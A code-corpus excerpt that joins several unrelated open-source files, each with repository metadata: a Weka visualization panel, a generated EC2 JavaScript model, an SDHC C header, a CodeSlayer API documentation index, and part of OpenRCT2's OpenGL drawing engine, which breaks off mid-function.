+"<dataset> [<dataset> <dataset>...]");
System.exit(1);
}
weka.core.logging.Logger.log(weka.core.logging.Logger.Level.INFO, "Logging started");
final javax.swing.JFrame jf =
new javax.swing.JFrame("Weka Explorer: Visualize");
jf.setSize(500,400);
jf.getContentPane().setLayout(new BorderLayout());
final VisualizePanel sp = new VisualizePanel();
jf.getContentPane().add(sp, BorderLayout.CENTER);
jf.addWindowListener(new java.awt.event.WindowAdapter() {
public void windowClosing(java.awt.event.WindowEvent e) {
jf.dispose();
System.exit(0);
}
});
jf.setVisible(true);
if (args.length >= 1) {
for (int j = 0; j < args.length; j++) {
System.err.println("Loading instances from " + args[j]);
java.io.Reader r = new java.io.BufferedReader(
new java.io.FileReader(args[j]));
Instances i = new Instances(r);
i.setClassIndex(i.numAttributes()-1);
PlotData2D pd1 = new PlotData2D(i);
if (j == 0) {
pd1.setPlotName("Master plot");
sp.setMasterPlot(pd1);
} else {
pd1.setPlotName("Plot "+(j+1));
pd1.m_useCustomColour = true;
pd1.m_customColour = (j % 2 == 0) ? Color.red : Color.blue;
sp.addPlot(pd1);
}
}
}
} catch (Exception ex) {
ex.printStackTrace();
System.err.println(ex.getMessage());
}
}
}
|
dsibournemouth/autoweka
|
weka-3.7.7/src/main/java/weka/gui/visualize/VisualizePanel.java
|
Java
|
gpl-3.0
| 78,255
|
var Modeler = require("../Modeler.js");
var className = 'TypeInternetGatewayAttachmentType';
var TypeInternetGatewayAttachmentType = function(json, parentObj) {
parentObj = parentObj || this;
// Class property definitions here:
Modeler.extend(className, {
vpcId: {
type: "string",
wsdlDefinition: {
name: "vpcId",
type: "xs:string"
},
mask: Modeler.GET | Modeler.SET,
required: false
},
state: {
type: "string",
wsdlDefinition: {
name: "state",
type: "xs:string"
},
mask: Modeler.GET | Modeler.SET,
required: false
}
}, parentObj, json);
};
module.exports = TypeInternetGatewayAttachmentType;
Modeler.register(TypeInternetGatewayAttachmentType, "TypeInternetGatewayAttachmentType");
|
holidayextras/wsdl2.js
|
example/EC2/Type/InternetGatewayAttachmentType.js
|
JavaScript
|
gpl-3.0
| 801
|
#ifndef _SDHC_H_
#define _SDHC_H_
/* Constants */
#define SDHC_SECTOR_SIZE 0x200
#ifdef __cplusplus
extern "C"
{
#endif
/* Prototypes */
bool SDHC_Init(void);
bool SDHC_Close(void);
bool SDHC_ReadSectors(u32, u32, void *);
bool SDHC_WriteSectors(u32, u32, void *);
extern int sdhc_mode_sd;
#ifdef __cplusplus
}
#endif
#endif
|
SuperrSonic/ULGX-ICON-VIEW
|
source/usbloader/sdhc.h
|
C
|
gpl-3.0
| 336
|
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>API Reference</title>
<meta name="generator" content="DocBook XSL Stylesheets V1.76.1">
<link rel="home" href="index.html" title="CodeSlayer Reference Manual">
<link rel="up" href="index.html" title="CodeSlayer Reference Manual">
<link rel="prev" href="index.html" title="CodeSlayer Reference Manual">
<link rel="next" href="CodeSlayerAbstractPane.html" title="CodeSlayerAbstractPane">
<meta name="generator" content="GTK-Doc V1.18 (XML mode)">
<link rel="stylesheet" href="style.css" type="text/css">
</head>
<body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF">
<table class="navigation" id="top" width="100%" summary="Navigation header" cellpadding="2" cellspacing="2"><tr valign="middle">
<td><a accesskey="p" href="index.html"><img src="left.png" width="24" height="24" border="0" alt="Prev"></a></td>
<td> </td>
<td><a accesskey="h" href="index.html"><img src="home.png" width="24" height="24" border="0" alt="Home"></a></td>
<th width="100%" align="center">CodeSlayer Reference Manual</th>
<td><a accesskey="n" href="CodeSlayerAbstractPane.html"><img src="right.png" width="24" height="24" border="0" alt="Next"></a></td>
</tr></table>
<div class="chapter">
<div class="titlepage"><div><div><h2 class="title">
<a name="idp4191344"></a>API Reference</h2></div></div></div>
<div class="toc"><dl>
<dt>
<span class="refentrytitle"><a href="CodeSlayerAbstractPane.html">CodeSlayerAbstractPane</a></span><span class="refpurpose"> — The abstract pane for the side and bottom pane.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerApplication.html">CodeSlayerApplication</a></span><span class="refpurpose"> — Represents the main application.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerBottomPane.html">CodeSlayerBottomPane</a></span><span class="refpurpose"> — The bottom pane.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerCompletionProposal.html">CodeSlayerCompletionProposal</a></span><span class="refpurpose"> — A proposal for the completion window.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerCompletionProvider.html">CodeSlayerCompletionProvider</a></span><span class="refpurpose"> — Create proposals for the completion window.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerCompletion.html">CodeSlayerCompletion</a></span><span class="refpurpose"> — The completion window.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerDocumentLinker.html">CodeSlayerDocumentLinker</a></span><span class="refpurpose"> — Used to link to documents.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerDocument.html">CodeSlayerDocument</a></span><span class="refpurpose"> — Represents the source file to create the source view.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerDocumentSearch.html">CodeSlayerDocumentSearch</a></span><span class="refpurpose"> — Used to search for documents.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerDocumentSearchDialog.html">CodeSlayerDocumentSearchDialog</a></span><span class="refpurpose"> — Used to search for documents.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerEngine.html">CodeSlayerEngine</a></span><span class="refpurpose"> — Central delegation class.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerListView.html">CodeSlayerListView</a></span><span class="refpurpose"> — The generic list widget used throughout CodeSlayer.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerMenuBarEdit.html">CodeSlayerMenuBarEdit</a></span><span class="refpurpose"></span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerMenuBarFile.html">CodeSlayerMenuBarFile</a></span><span class="refpurpose"> — The file menu.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerMenuBarHelp.html">CodeSlayerMenuBarHelp</a></span><span class="refpurpose"> — The help menu.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerMenuBarProjects.html">CodeSlayerMenuBarProjects</a></span><span class="refpurpose"> — The projects menu.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerMenuBarSearch.html">CodeSlayerMenuBarSearch</a></span><span class="refpurpose"> — The search menu.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerMenuBarTools.html">CodeSlayerMenuBarTools</a></span><span class="refpurpose"> — The tools menu.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerMenuBarView.html">CodeSlayerMenuBarView</a></span><span class="refpurpose"> — The view menu.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerMenuBar.html">CodeSlayerMenuBar</a></span><span class="refpurpose"> — The application menu.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerMenuItem.html">CodeSlayerMenuItem</a></span><span class="refpurpose"> — The menu item.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerNotebookPage.html">CodeSlayerNotebookPage</a></span><span class="refpurpose"> — Contains the source view and document.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerNotebookPane.html">CodeSlayerNotebookPane</a></span><span class="refpurpose"> — Container for the notebook and inline search.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerNotebookSearch.html">CodeSlayerSearch</a></span><span class="refpurpose"> — The notebook inline search.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerNotebookTab.html">CodeSlayerNotebookTab</a></span><span class="refpurpose"> — The notebook page label.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerNotebook.html">CodeSlayerNotebook</a></span><span class="refpurpose"> — Contains the pages.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerPlugin.html">CodeSlayerPlugin</a></span><span class="refpurpose"> — Represents the plugin.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerPluginsSelector.html">CodeSlayerPluginsSelector</a></span><span class="refpurpose"> — The tools plugins.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerPlugins.html">CodeSlayerPlugins</a></span><span class="refpurpose"> — The plugins container.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerPreferencesEditor.html">CodeSlayerPreferencesEditor</a></span><span class="refpurpose"> — The preferences editor tab.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerPreferencesListView.html">CodeSlayerPreferencesListView</a></span><span class="refpurpose"> — Common list view widget for the preferences.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerPreferencesMisc.html">CodeSlayerPreferencesMisc</a></span><span class="refpurpose"> — The preferences misc tab.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerPreferencesProjects.html">CodeSlayerPreferencesProjects</a></span><span class="refpurpose"> — The preferences projects tab.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerPreferencesTheme.html">CodeSlayerPreferencesTheme</a></span><span class="refpurpose"> — The preferences theme tab.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerPreferences.html">CodeSlayerPreferences</a></span><span class="refpurpose"> — The profile preferences.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerProfile.html">CodeSlayerProfile</a></span><span class="refpurpose"> — Contains the projects.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerProfilesManager.html">CodeSlayerProfilesManager</a></span><span class="refpurpose"> — The profiles.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerProfiles.html">CodeSlayerProfiles</a></span><span class="refpurpose"> — Contains the projects.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerProjectProperties.html">CodeSlayerProjectProperties</a></span><span class="refpurpose"> — The project properties.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerProject.html">CodeSlayerProject</a></span><span class="refpurpose"> — Contains the documents.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerProjectsSearch.html">CodeSlayerProjectsSearch</a></span><span class="refpurpose"> — The global search page.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerProjectsSelection.html">CodeSlayerProjectsSelection</a></span><span class="refpurpose"> — Represents the nodes selected in the projects tree.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerProjects.html">CodeSlayerProjects</a></span><span class="refpurpose"> — The tree view that contains the projects.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerRegexView.html">CodeSlayerRegexView</a></span><span class="refpurpose"> — The view that contains the additional regular expression tools.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerRegistry.html">CodeSlayerRegistry</a></span><span class="refpurpose"> — The application properties.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerSidePane.html">CodeSlayerSidePane</a></span><span class="refpurpose"> — The left hand side pane.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerSearch.html">CodeSlayerSearch</a></span><span class="refpurpose"></span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerSourceView.html">CodeSlayerSourceView</a></span><span class="refpurpose"> — The view to edit a document.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayerWindow.html">CodeSlayerWindow</a></span><span class="refpurpose"> — Contains the pages.</span>
</dt>
<dt>
<span class="refentrytitle"><a href="CodeSlayer.html">CodeSlayer</a></span><span class="refpurpose"> — The plugins context.</span>
</dt>
</dl></div>
</div>
<div class="footer">
<hr>
Generated by GTK-Doc V1.18</div>
</body>
</html>
|
jeffjohnston/codeslayer
|
docs/reference/html/ch01.html
|
HTML
|
gpl-3.0
| 10,234
|
/*****************************************************************************
* Copyright (c) 2014-2019 OpenRCT2 developers
*
* For a complete list of all authors, please refer to contributors.md
* Interested in contributing? Visit https://github.com/OpenRCT2/OpenRCT2
*
* OpenRCT2 is licensed under the GNU General Public License version 3.
*****************************************************************************/
#ifndef DISABLE_OPENGL
# include "../DrawingEngineFactory.hpp"
# include "ApplyPaletteShader.h"
# include "DrawCommands.h"
# include "DrawLineShader.h"
# include "DrawRectShader.h"
# include "GLSLTypes.h"
# include "OpenGLAPI.h"
# include "OpenGLFramebuffer.h"
# include "SwapFramebuffer.h"
# include "TextureCache.h"
# include "TransparencyDepth.h"
# include <SDL.h>
# include <algorithm>
# include <cmath>
# include <openrct2-ui/interface/Window.h>
# include <openrct2/Intro.h>
# include <openrct2/config/Config.h>
# include <openrct2/core/Console.hpp>
# include <openrct2/drawing/Drawing.h>
# include <openrct2/drawing/IDrawingContext.h>
# include <openrct2/drawing/IDrawingEngine.h>
# include <openrct2/drawing/LightFX.h>
# include <openrct2/drawing/Rain.h>
# include <openrct2/interface/Screenshot.h>
# include <openrct2/ui/UiContext.h>
# include <unordered_map>
using namespace OpenRCT2;
using namespace OpenRCT2::Drawing;
using namespace OpenRCT2::Ui;
struct OpenGLVersion
{
GLint Major;
GLint Minor;
};
constexpr OpenGLVersion OPENGL_MINIMUM_REQUIRED_VERSION = { 3, 3 };
class OpenGLDrawingEngine;
class OpenGLDrawingContext final : public IDrawingContext
{
private:
OpenGLDrawingEngine* _engine = nullptr;
rct_drawpixelinfo* _dpi = nullptr;
ApplyTransparencyShader* _applyTransparencyShader = nullptr;
DrawLineShader* _drawLineShader = nullptr;
DrawRectShader* _drawRectShader = nullptr;
SwapFramebuffer* _swapFramebuffer = nullptr;
TextureCache* _textureCache = nullptr;
int32_t _offsetX = 0;
int32_t _offsetY = 0;
int32_t _clipLeft = 0;
int32_t _clipTop = 0;
int32_t _clipRight = 0;
int32_t _clipBottom = 0;
int32_t _drawCount = 0;
struct
{
LineCommandBatch lines;
RectCommandBatch rects;
RectCommandBatch transparent;
} _commandBuffers;
public:
explicit OpenGLDrawingContext(OpenGLDrawingEngine* engine);
~OpenGLDrawingContext() override;
IDrawingEngine* GetEngine() override;
TextureCache* GetTextureCache() const
{
return _textureCache;
}
const OpenGLFramebuffer& GetFinalFramebuffer() const
{
return _swapFramebuffer->GetFinalFramebuffer();
}
void Initialise();
void Resize(int32_t width, int32_t height);
void ResetPalette();
void StartNewDraw();
void Clear(uint8_t paletteIndex) override;
void FillRect(uint32_t colour, int32_t x, int32_t y, int32_t w, int32_t h) override;
void FilterRect(FILTER_PALETTE_ID palette, int32_t left, int32_t top, int32_t right, int32_t bottom) override;
void DrawLine(uint32_t colour, int32_t x1, int32_t y1, int32_t x2, int32_t y2) override;
void DrawSprite(uint32_t image, int32_t x, int32_t y, uint32_t tertiaryColour) override;
void DrawSpriteRawMasked(int32_t x, int32_t y, uint32_t maskImage, uint32_t colourImage) override;
void DrawSpriteSolid(uint32_t image, int32_t x, int32_t y, uint8_t colour) override;
void DrawGlyph(uint32_t image, int32_t x, int32_t y, uint8_t* palette) override;
void FlushCommandBuffers();
void FlushLines();
void FlushRectangles();
void HandleTransparency();
void SetDPI(rct_drawpixelinfo* dpi);
rct_drawpixelinfo* GetDPI() const
{
return _dpi;
}
};
class OpenGLRainDrawer final : public IRainDrawer
{
OpenGLDrawingContext* _drawingContext;
public:
explicit OpenGLRainDrawer(OpenGLDrawingContext* drawingContext)
: _drawingContext(drawingContext)
{
}
virtual void Draw(int32_t x, int32_t y, int32_t width, int32_t height, int32_t xStart, int32_t yStart)
{
const uint8_t* pattern = RainPattern;
uint8_t patternXSpace = *pattern++;
uint8_t patternYSpace = *pattern++;
uint8_t patternStartXOffset = xStart % patternXSpace;
uint8_t patternStartYOffset = yStart % patternYSpace;
const auto* dpi = _drawingContext->GetDPI();
uint32_t pixelOffset = (dpi->pitch + dpi->width) * y + x;
uint8_t patternYPos = patternStartYOffset % patternYSpace;
for (; height != 0; height--)
{
uint8_t patternX = pattern[patternYPos * 2];
if (patternX != 0xFF)
{
uint32_t finalPixelOffset = width + pixelOffset;
uint32_t xPixelOffset = pixelOffset;
xPixelOffset += ((uint8_t)(patternX - patternStartXOffset)) % patternXSpace;
uint8_t patternPixel = pattern[patternYPos * 2 + 1];
for (; xPixelOffset < finalPixelOffset; xPixelOffset += patternXSpace)
{
int32_t pixelX = xPixelOffset % dpi->width;
int32_t pixelY = (xPixelOffset / dpi->width) % dpi->height;
_drawingContext->DrawLine(patternPixel, pixelX, pixelY, pixelX + 1, pixelY + 1);
}
}
pixelOffset += dpi->pitch + dpi->width;
patternYPos++;
patternYPos %= patternYSpace;
}
}
};
class OpenGLDrawingEngine : public IDrawingEngine
{
private:
std::shared_ptr<IUiContext> const _uiContext;
SDL_Window* _window = nullptr;
SDL_GLContext _context = nullptr;
uint32_t _width = 0;
uint32_t _height = 0;
uint32_t _pitch = 0;
size_t _bitsSize = 0;
uint8_t* _bits = nullptr;
rct_drawpixelinfo _bitsDPI = {};
OpenGLDrawingContext* _drawingContext;
ApplyPaletteShader* _applyPaletteShader = nullptr;
OpenGLFramebuffer* _screenFramebuffer = nullptr;
OpenGLFramebuffer* _scaleFramebuffer = nullptr;
OpenGLFramebuffer* _smoothScaleFramebuffer = nullptr;
OpenGLRainDrawer _rainDrawer;
public:
SDL_Color Palette[256];
vec4 GLPalette[256];
explicit OpenGLDrawingEngine(const std::shared_ptr<IUiContext>& uiContext)
: _uiContext(uiContext)
, _drawingContext(new OpenGLDrawingContext(this))
, _rainDrawer(_drawingContext)
{
_window = (SDL_Window*)_uiContext->GetWindow();
_bitsDPI.DrawingEngine = this;
# ifdef __ENABLE_LIGHTFX__
lightfx_set_available(false);
# endif
}
~OpenGLDrawingEngine() override
{
delete _applyPaletteShader;
delete _screenFramebuffer;
delete _drawingContext;
delete[] _bits;
SDL_GL_DeleteContext(_context);
}
void Initialise() override
{
OpenGLVersion requiredVersion = OPENGL_MINIMUM_REQUIRED_VERSION;
SDL_GL_SetAttribute(SDL_GL_CONTEXT_PROFILE_MASK, SDL_GL_CONTEXT_PROFILE_CORE);
SDL_GL_SetAttribute(SDL_GL_CONTEXT_MAJOR_VERSION, requiredVersion.Major);
SDL_GL_SetAttribute(SDL_GL_CONTEXT_MINOR_VERSION, requiredVersion.Minor);
_context = SDL_GL_CreateContext(_window);
if (_context == nullptr)
{
char szRequiredVersion[32];
snprintf(szRequiredVersion, 32, "OpenGL %d.%d", requiredVersion.Major, requiredVersion.Minor);
throw std::runtime_error(std::string(szRequiredVersion) + std::string(" not available."));
}
SDL_GL_MakeCurrent(_window, _context);
if (!OpenGLAPI::Initialise())
{
throw std::runtime_error("Unable to initialise OpenGL.");
}
_drawingContext->Initialise();
_applyPaletteShader = new ApplyPaletteShader();
}
void Resize(uint32_t width, uint32_t height) override
{
ConfigureBits(width, height, width);
ConfigureCanvas();
_drawingContext->Resize(width, height);
}
void SetPalette(const rct_palette_entry* palette) override
{
for (int32_t i = 0; i < 256; i++)
{
SDL_Color colour;
colour.r = palette[i].red;
colour.g = palette[i].green;
colour.b = palette[i].blue;
colour.a = i == 0 ? 0 : 255;
Palette[i] = colour;
GLPalette[i] = {
colour.r / 255.0f,
colour.g / 255.0f,
colour.b / 255.0f,
colour.a / 255.0f,
};
}
_applyPaletteShader->Use();
_applyPaletteShader->SetPalette(GLPalette);
_drawingContext->ResetPalette();
}
void SetVSync(bool vsync) override
{
SDL_GL_SetSwapInterval(vsync);
}
void Invalidate(int32_t left, int32_t top, int32_t right, int32_t bottom) override
{
}
void BeginDraw() override
{
assert(_screenFramebuffer != nullptr);
_drawingContext->StartNewDraw();
}
void EndDraw() override
{
_drawingContext->FlushCommandBuffers();
glDisable(GL_DEPTH_TEST);
if (_scaleFramebuffer != nullptr)
{
// Render to intermediary RGB buffer for GL_LINEAR
_scaleFramebuffer->Bind();
}
else
{
_screenFramebuffer->Bind();
}
_applyPaletteShader->Use();
_applyPaletteShader->SetTexture(_drawingContext->GetFinalFramebuffer().GetTexture());
_applyPaletteShader->Draw();
if (_smoothScaleFramebuffer != nullptr)
{
_smoothScaleFramebuffer->Copy(*_scaleFramebuffer, GL_NEAREST);
_screenFramebuffer->Copy(*_smoothScaleFramebuffer, GL_LINEAR);
}
else if (_scaleFramebuffer != nullptr)
{
_screenFramebuffer->Copy(*_scaleFramebuffer, GL_LINEAR);
}
CheckGLError();
Display();
}
void PaintWindows() override
{
window_update_all_viewports();
window_draw_all(&_bitsDPI, 0, 0, _width, _height);
}
void UpdateWindows() override
{
window_update_all();
}
void PaintRain() override
{
_drawingContext->SetDPI(&_bitsDPI);
DrawRain(&_bitsDPI, &_rainDrawer);
}
std::string Screenshot() override
{
const OpenGLFramebuffer& framebuffer = _drawingContext->GetFinalFramebuffer();
framebuffer.Bind();
framebuffer.GetPixels(_bitsDPI);
std::string result = screenshot_dump_png(&_bitsDPI);
return result;
}
void CopyRect(int32_t x, int32_t y, int32_t width, int32_t height, int32_t dx, int32_t dy) override
{
// Not applicable for this engine
}
IDrawingContext* GetDrawingContext(rct_drawpixelinfo* dpi) override
{
_drawingContext->SetDPI(dpi);
return _drawingContext;
}
rct_drawpixelinfo* GetDrawingPixelInfo() override
{
return &_bitsDPI;
}
DRAWING_ENGINE_FLAGS GetFlags() override
{
return DEF_NONE;
}
void InvalidateImage(uint32_t image) override
{
_drawingContext->GetTextureCache()->InvalidateImage(image);
}
rct_drawpixelinfo* GetDPI()
{
return &_bitsDPI;
}
private:
static OpenGLVersion GetOpenGLVersion()
{
CheckGLError(); // Clear Any Errors
OpenGLVersion version = { 0, 0 };
glGetIntegerv(GL_MAJOR_VERSION, &version.Major);
if (glGetError() != GL_NO_ERROR)
return { 0, 0 };
glGetIntegerv(GL_MINOR_VERSION, &version.Minor);
if (glGetError() != GL_NO_ERROR)
return { 0, 0 };
return version;
}
void ConfigureBits(uint32_t width, uint32_t height, uint32_t pitch)
{
size_t newBitsSize = pitch * height;
uint8_t* newBits = new uint8_t[newBitsSize];
if (_bits == nullptr)
{
std::fill_n(newBits, newBitsSize, 0);
}
else
{
if (_pitch == pitch)
{
std::copy_n(_bits, std::min(_bitsSize, newBitsSize), newBits);
}
else
{
uint8_t* src = _bits;
uint8_t* dst = newBits;
uint32_t minWidth = std::min(_width, width);
uint32_t minHeight = std::min(_height, height);
for (uint32_t y = 0; y < minHeight; y++)
{
std::copy_n(src, minWidth, dst);
if (pitch - minWidth > 0)
{
std::fill_n(dst + minWidth, pitch - minWidth, 0);
}
src += _pitch;
dst += pitch;
}
}
delete[] _bits;
}
_bits = newBits;
_bitsSize = newBitsSize;
_width = width;
_height = height;
_pitch = pitch;
rct_drawpixelinfo* dpi = &_bitsDPI;
dpi->bits = _bits;
dpi->x = 0;
dpi->y = 0;
dpi->width = width;
dpi->height = height;
dpi->pitch = _pitch - width;
}
void ConfigureCanvas()
{
// Re-create screen framebuffer
delete _screenFramebuffer;
_screenFramebuffer = new OpenGLFramebuffer(_window);
if (_scaleFramebuffer != nullptr)
{
delete _scaleFramebuffer;
_scaleFramebuffer = nullptr;
}
if (_smoothScaleFramebuffer != nullptr)
{
delete _smoothScaleFramebuffer;
_smoothScaleFramebuffer = nullptr;
}
if (GetContext()->GetUiContext()->GetScaleQuality() > 0)
{
_scaleFramebuffer = new OpenGLFramebuffer(_width, _height, false, false);
}
if (GetContext()->GetUiContext()->GetScaleQuality() == SCALE_QUALITY_SMOOTH_NN)
{
uint32_t scale = std::ceil(gConfigGeneral.window_scale);
_smoothScaleFramebuffer = new OpenGLFramebuffer(_width * scale, _height * scale, false, false);
}
}
void Display()
{
SDL_GL_SwapWindow(_window);
}
};
std::unique_ptr<IDrawingEngine> OpenRCT2::Ui::CreateOpenGLDrawingEngine(const std::shared_ptr<IUiContext>& uiContext)
{
return std::make_unique<OpenGLDrawingEngine>(uiContext);
}
OpenGLDrawingContext::OpenGLDrawingContext(OpenGLDrawingEngine* engine)
{
_engine = engine;
}
OpenGLDrawingContext::~OpenGLDrawingContext()
{
delete _applyTransparencyShader;
delete _drawLineShader;
delete _drawRectShader;
delete _swapFramebuffer;
delete _textureCache;
}
IDrawingEngine* OpenGLDrawingContext::GetEngine()
{
return _engine;
}
void OpenGLDrawingContext::Initialise()
{
_textureCache = new TextureCache();
_applyTransparencyShader = new ApplyTransparencyShader();
_drawRectShader = new DrawRectShader();
_drawLineShader = new DrawLineShader();
}
void OpenGLDrawingContext::Resize(int32_t width, int32_t height)
{
_commandBuffers.lines.clear();
_commandBuffers.rects.clear();
_drawRectShader->Use();
_drawRectShader->SetScreenSize(width, height);
_drawLineShader->Use();
_drawLineShader->SetScreenSize(width, height);
// Re-create canvas framebuffer
delete _swapFramebuffer;
_swapFramebuffer = new SwapFramebuffer(width, height);
}
void OpenGLDrawingContext::ResetPalette()
{
// FlushCommandBuffers();
}
void OpenGLDrawingContext::StartNewDraw()
{
_drawCount = 0;
_swapFramebuffer->Clear();
}
void OpenGLDrawingContext::Clear(uint8_t paletteIndex)
{
FillRect(paletteIndex, _clipLeft - _offsetX, _clipTop - _offsetY, _clipRight - _offsetX, _clipBottom - _offsetY);
}
void OpenGLDrawingContext::FillRect(uint32_t colour, int32_t left, int32_t top, int32_t right, int32_t bottom)
{
left += _offsetX;
top += _offsetY;
right += _offsetX;
bottom += _offsetY;
DrawRectCommand& command = _commandBuffers.rects.allocate();
command.clip = { _clipLeft, _clipTop, _clipRight, _clipBottom };
command.texColourAtlas = 0;
command.texColourBounds = { 0.0f, 0.0f, 0.0f, 0.0f };
command.texMaskAtlas = 0;
command.texMaskBounds = { 0.0f, 0.0f, 0.0f, 0.0f };
command.palettes = { 0, 0, 0 };
command.colour = colour & 0xFF;
command.bounds = { left, top, right + 1, bottom + 1 };
command.flags = DrawRectCommand::FLAG_NO_TEXTURE;
command.depth = _drawCount++;
if (colour & 0x1000000)
{
// cross-pattern
command.flags |= DrawRectCommand::FLAG_CROSS_HATCH;
}
else if (colour & 0x2000000)
{
assert(false);
// Should be FilterRect
}
}
void OpenGLDrawingContext::FilterRect(FILTER_PALETTE_ID palette, int32_t left, int32_t top, int32_t right, int32_t bottom)
{
left += _offsetX;
top += _offsetY;
right += _offsetX;
bottom += _offsetY;
DrawRectCommand& command = _commandBuffers.transparent.allocate();
command.clip = { _clipLeft, _clipTop, _clipRight, _clipBottom };
command.texColourAtlas = 0;
command.texColourBounds = { 0.0f, 0.0f, 0.0f, 0.0f };
command.texMaskAtlas = 0;
command.texMaskBounds = { 0.0f, 0.0f, 0.0f, 0.0f };
command.palettes = { 0, 0, 0 };
command.colour = TextureCache::PaletteToY(palette);
command.bounds = { left, top, right + 1, bottom + 1 };
command.flags = DrawRectCommand::FLAG_NO_TEXTURE;
command.depth = _drawCount++;
}
void OpenGLDrawingContext::DrawLine(uint32_t colour, int32_t x1, int32_t y1, int32_t x2, int32_t y2)
{
x1 += _offsetX;
y1 += _offsetY;
x2 += _offsetX;
y2 += _offsetY;
DrawLineCommand& command = _commandBuffers.lines.allocate();
command.clip = { _clipLeft, _clipTop, _clipRight, _clipBottom };
command.bounds = { x1, y1, x2, y2 };
command.colour = colour & 0xFF;
command.depth = _drawCount++;
}
void OpenGLDrawingContext::DrawSprite(uint32_t image, int32_t x, int32_t y, uint32_t tertiaryColour)
{
int32_t g1Id = image & 0x7FFFF;
auto g1Element = gfx_get_g1_element(g1Id);
if (g1Element == nullptr)
{
return;
}
if (_dpi->zoom_level != 0)
{
if (g1Element->flags & (1 << 4))
{
rct_drawpixelinfo zoomedDPI;
zoomedDPI.bits = _dpi->bits;
zoomedDPI.x = _dpi->x >> 1;
zoomedDPI.y = _dpi->y >> 1;
zoomedDPI.height = _dpi->height >> 1;
zoomedDPI.width = _dpi->width >> 1;
zoomedDPI.pitch = _dpi->pitch;
zoomedDPI.zoom_level = _dpi->zoom_level - 1;
SetDPI(&zoomedDPI);
DrawSprite((image & 0xFFF80000) | (g1Id - g1Element->zoomed_offset), x >> 1, y >> 1, tertiaryColour);
return;
}
if (g1Element->flags & (1 << 5))
{
return;
}
}
uint8_t zoomLevel = (1 << _dpi->zoom_level);
int32_t left = x + g1Element->x_offset;
int32_t top = y + g1Element->y_offset;
int32_t zoom_mask = 0xFFFFFFFF << _dpi->zoom_level;
if (_dpi->zoom_level && g1Element->flags & G1_FLAG_RLE_COMPRESSION)
{
top -= ~zoom_mask;
}
if (!(g1Element->flags & G1_FLAG_RLE_COMPRESSION))
{
top &= zoom_mask;
left += ~zoom_mask;
}
left &= zoom_mask;
int32_t right = left + g1Element->width;
int32_t bottom = top + g1Element->height;
if (_dpi->zoom_level && g1Element->flags & G1_FLAG_RLE_COMPRESSION)
{
bottom += top & ~zoom_mask;
}
if (left > right)
{
std::swap(left, right);
}
if (top > bottom)
{
std::swap(top, bottom);
}
left -= _dpi->x;
top -= _dpi->y;
right -= _dpi->x;
bottom -= _dpi->y;
left /= zoomLevel;
top /= zoomLevel;
right /= zoomLevel;
bottom /= zoomLevel;
left += _clipLeft;
top += _clipTop;
right += _clipLeft;
bottom += _clipTop;
const auto texture = _textureCache->GetOrLoadImageTexture(image);
int paletteCount;
ivec3 palettes{};
bool special = false;
if (image & IMAGE_TYPE_REMAP_2_PLUS)
{
palettes.x = TextureCache::PaletteToY((image >> 19) & 0x1F);
palettes.y = TextureCache::PaletteToY((image >> 24) & 0x1F);
if (image & IMAGE_TYPE_REMAP)
{
paletteCount = 2;
}
else
{
paletteCount = 3;
